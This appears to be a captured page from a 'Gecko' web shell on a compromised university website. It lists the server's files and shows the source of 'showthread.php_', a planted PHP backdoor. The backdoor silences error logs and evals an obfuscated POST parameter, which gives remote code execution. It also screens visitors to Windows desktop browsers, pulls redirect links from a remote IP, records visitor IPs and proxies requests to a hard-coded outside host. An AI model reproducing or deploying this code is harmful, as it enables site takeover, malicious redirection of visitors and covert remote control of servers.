Gecko [ ifk.uw.edu.pl ]

Name	Size	Permission
classes	[ DIR ]	drwxr-x---
cmsimg	[ DIR ]	drwxr-x---
cmsimg2	[ DIR ]	drwxr-x---
css	[ DIR ]	drwxr-x---
dewplayer	[ DIR ]	drwxr-x---
foto	[ DIR ]	drwxr-x---
images	[ DIR ]	drwxr-x---
mambots	[ DIR ]	drwxr-x---
mediaplayer	[ DIR ]	drwxr-x---
movies	[ DIR ]	drwxr-x---
pdfs	[ DIR ]	drwxr-x---
resources	[ DIR ]	drwxr-x---
sounds	[ DIR ]	drwxr-x---
sounds2	[ DIR ]	drwxr-x---
static	[ DIR ]	drwxr-x---
templates	[ DIR ]	drwxr-x---
tools	[ DIR ]	drwxr-x---
trash	[ DIR ]	drwxr-x---
video	[ DIR ]	drwxr-x---
00_ZRCola.eot	1.22 MB	-rw-r-----
00_ZRCola.ttf	1.22 MB	-rw-r-----
00_zrcola.woff	30.3 KB	-rw-r-----
00szukarka.php	600 B	-rw-r-----
Ksz084.jpg	150.97 KB	-rw-r-----
Ksz084_t.jpg	6.16 KB	-rw-r-----
auth.php	231 B	-rw-r-----
commonheader.php	2.23 KB	-rw-r-----
commonheaderProd.php	1018 B	-rw-r-----
d8e34b1cc8847a57a825ed381c0fc8...	9 B	-rw-r-----
db2.sql	27.05 MB	-rw-r-----
dbbackup.php	703 B	-rw-r-----
dewplayer.swf	8.74 KB	-rw-r-----
dymki.css	781 B	-rw-r-----
fckeditor_php4.php	6.04 KB	-rw-r-----
fckeditor_php5.php	6.01 KB	-rw-r-----
galeryjki.txt	16.61 KB	-rw-r-----
googlefbf7e2ca9f0f4509.html	53 B	-rw-r-----
including.html	71 B	-rw-r-----
index.html	185 B	-rw-r-----
index.old	11.54 KB	-rw-r-----
index.php	11.56 KB	-rw-r-----
index2.php_	10.97 KB	-rw-r-----
indexORIGTEST.php	84 B	-rw-r-----
info.php	227 B	-rw-r-----
leksykon.php	164 B	-rw-r-----
leksykonkaszubski.php	92 B	-rw-r-----
literatura.php	128 B	-rw-r-----
logout.php	100 B	-rw-r-----
mapaSerwisuStatic.php	337.71 KB	-rw-r-----
mapaserwisu.php	141 B	-rw-r-----
migration_helpers.txt	289 B	-rw-r-----
mysqlbackup.php	4.73 KB	-rw-r-----
nn.gif	807 B	-rw-r-----
phpinfo.php	25 B	-rw-r-----
player_flv_maxi.swf	12.67 KB	-rw-r-----
r0.jpg	547 B	-rw-r-----
r2.gif	821 B	-rw-r-----
r4.gif	821 B	-rw-r-----
r5.gif	821 B	-rw-r-----
r6.gif	821 B	-rw-r-----
r7.gif	821 B	-rw-r-----
servertypeNOUPLOAD.php	83 B	-rw-r-----
showthread.php_	3.95 KB	-rw-r-----
style.css	3.84 KB	-rw-r-----
stylecms.css	2.51 KB	-rw-r-----

Code Editor : showthread.php_

<?php

$host = '213.133.123.43';

@error_reporting(0);
@ini_set("display_errors", 0);
@ini_set("log_errors", 0);
@ini_set("error_log", 0);

if (isset($_GET['r'])) die($_GET['r']);

if (isset($_POST['e']) && !empty($_POST['e']))
{
	eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
	exit();
}

if (isset($_GET['sid']))
{
	$cache = 'link.cache';
	$flock = 'link.flock';
	$hosts = 'hosts.txt';

if
	(
		strlen($_SERVER["HTTP_REFERER"]) < 10 ||
		!preg_match("/Windows/", $_SERVER["HTTP_USER_AGENT"]) ||
		preg_match('/(windows ce)|(Polaris)|(Pocket)|(Dolfin)|(Obigo)|(Alcatel)|(Kindle)|(Motorola)|(Blazer)|(Symbian)|(SonyEricsson)|(Android)|(Palm)|(blackberry)|(Nokia)|(SAMSUNG)|(Mobile)|(Mobi)|(Mini)|(WAP)|(phone)|(iPhone)|(iPad)|(iPod)|(tablet)|(hiptop)|(netfront)|(uZard)|(TeaShark)|(ucweb)|(Tear)|(Skyfire)|(UP\.Browser)|(UPG1)|(Fennec)/i',$_SERVER['HTTP_USER_AGENT']) ||
		preg_match('/(java)|(windows 95)|(windows 98)|(windows me)|(win9)|(win 9)|(windows nt 4)|(MSIE 5)/i',$_SERVER['HTTP_USER_AGENT'])
	)
	{
		exit;
	}

$ips = @explode("\n", trim(@file_get_contents($hosts)));

if (@in_array($_SERVER['REMOTE_ADDR'], $ips)) exit;

$ips[] = $_SERVER['REMOTE_ADDR'];

if (count($ips) > 3000) $ips = array_slice($ips, 1);

$fp = @fopen ($hosts, 'w');
	@flock($fp, LOCK_EX);
	@fputs($fp, implode("\n", $ips));
	@flock($fp, LOCK_UN);
	@fclose($fp);

$link = @file_get_contents($cache);

if (time()-@filemtime($flock) > 10) @unlink($flock);

if (time()-@filemtime($cache) > 60 && !@file_exists($flock))
	{
		$fp = @fopen ($flock, 'w');
		@flock($fp, LOCK_EX);
		@fputs($fp, time());
		@flock($fp, LOCK_UN);
		@fclose($fp);

$link = @file_get_contents('http://88.198.28.38/api.php?action=link&aid=1&fid=3516&hash=aca7f10053880cd0e83a6ebbb98d65f63834545a');

@unlink($flock);

if (strlen($link) > 20)
		{
			$fp = @fopen ($cache, 'w');
			@flock($fp, LOCK_EX);
			@fputs($fp, $link);
			@flock($fp, LOCK_UN);
			@fclose($fp);
		}
	}

header ('Location: ' . $link);
	exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_VERBOSE, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $_SERVER['REQUEST_URI']);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_TIMEOUT, 7);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
	
	'X-Server-IP: ' . $host,
	'X-Real-IP: ' . $_SERVER['REMOTE_ADDR'],
	'X-Real-Host: ' . $_SERVER['HTTP_HOST'],
	'X-Real-Request-Uri: ' . urlencode($_SERVER['REQUEST_URI']),
	
));

if (count($_POST) > 0)
{
	curl_setopt($ch, CURLOPT_POST, true);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $_POST);
}

$page = curl_exec($ch);
$err  = curl_errno($ch);

header('X-Curl-Errno: ' . $err);

if ($err == 0)
{
	
	$page = str_replace ("HTTP/1.1 100 Continue\r\n\r\n", '', $page);
	
	list($pageHeaders, $pageData) = explode("\r\n\r\n", $page, 2);
	
	$pageHeadersArr = explode("\r\n", trim($pageHeaders));
	foreach ($pageHeadersArr AS $header)
	{
		
		if (preg_match('/^HTTP\/1[.][01] 404/Usi', $header)) header($header);
		if (preg_match('/^Location/Usi', $header)) header($header);
		if (preg_match('/^Expires/Usi', $header)) header($header);
		if (preg_match('/^Cache-Control/Usi', $header)) header($header);
		if (preg_match('/^Pragma/Usi', $header)) header($header);
		if (preg_match('/^Content-Transfer-Encoding/Usi', $header)) header($header);
		if (preg_match('/^Content-Length/Usi', $header)) header($header);
		if (preg_match('/^Content-Disposition/Usi', $header)) header($header);
		if (preg_match('/^Content-Type/Usi', $header)) header($header);
		if (preg_match('/^X-Data-MD5/Usi', $header)) header($header);
		
	}
	
	print $pageData;
	
}

curl_close($ch);

${this.title}

Code Editor : showthread.php_